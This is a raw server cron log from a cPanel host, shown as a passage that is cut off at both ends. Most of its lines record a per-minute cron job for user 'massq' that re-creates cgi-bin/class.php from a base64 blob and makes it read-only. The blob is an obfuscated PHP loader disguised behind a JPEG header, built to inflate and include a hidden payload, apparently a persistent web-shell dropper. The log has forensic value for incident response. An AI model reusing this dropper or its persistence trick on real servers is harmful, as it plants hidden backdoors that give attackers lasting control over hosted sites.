JiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:04:01 server CROND[26676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:05:01 server CROND[26735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:05:01 server CROND[26734]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:05:01 server CROND[26736]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 07:05:01 server CROND[26737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:06:01 server CROND[26846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:07:01 server CROND[26999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:08:01 server CROND[27051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:09:01 server CROND[27118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:09:01 server CROND[27119]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 07:10:01 server CROND[27191]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:10:01 server CROND[27193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 07:10:01 server CROND[27195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:10:01 server CROND[27192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:11:01 server CROND[27316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:12:01 server CROND[27525]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 07:12:01 server CROND[27527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:13:01 server CROND[27585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:14:01 server CROND[27639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:15:01 server CROND[27709]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:15:01 server CROND[27710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:15:01 server CROND[27711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:16:01 server CROND[27825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:17:01 server CROND[27877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JH